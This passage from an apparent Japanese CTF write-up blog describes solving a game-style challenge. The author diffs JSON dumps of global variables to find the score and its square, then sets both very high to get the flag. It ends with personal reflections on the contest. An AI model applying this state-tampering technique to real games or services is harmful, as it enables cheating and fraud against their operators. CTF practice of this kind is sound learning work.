スコアが変わった際に変わった変数を探したいと考えたので、スコアが変わる前と変わった後のグローバルの内容をJSONでダンプ、整形してDiffを取りました。(整形後のjsonは30MBくらいあり、整形にも1分ほど掛かりました…。画像は10万行ほどあったnullの配列を削ぎ落とした後のものです。)

f:id:keymoon:20190121013453p:plain

Diffの様子

ぐっと睨むと怪しい変数を2個見つけることができます。現在のスコアが保存されている変数と、それの二乗が保存されている変数です。

その2つをとても大きく変更してあげると、フラグを見つけることができます。

雑感

始まる前にお風呂に入ろうと思ったらむちゃくちゃ寝てしまいました。

 スタートダッシュが切れなかったので、自明問の得点ブーストがかからないのが厳しいなあと思ったんですが、割と良い成績を残せたようで良かったです。

問題も自分に合った難易度のものが多くあり、解いたものは全て楽しめました。

あと土日がCTFだと完全に休めませんね。これを書いている今は日付が変わって月曜日なのですが、正直信じられないです……(無茶苦茶疲れている)。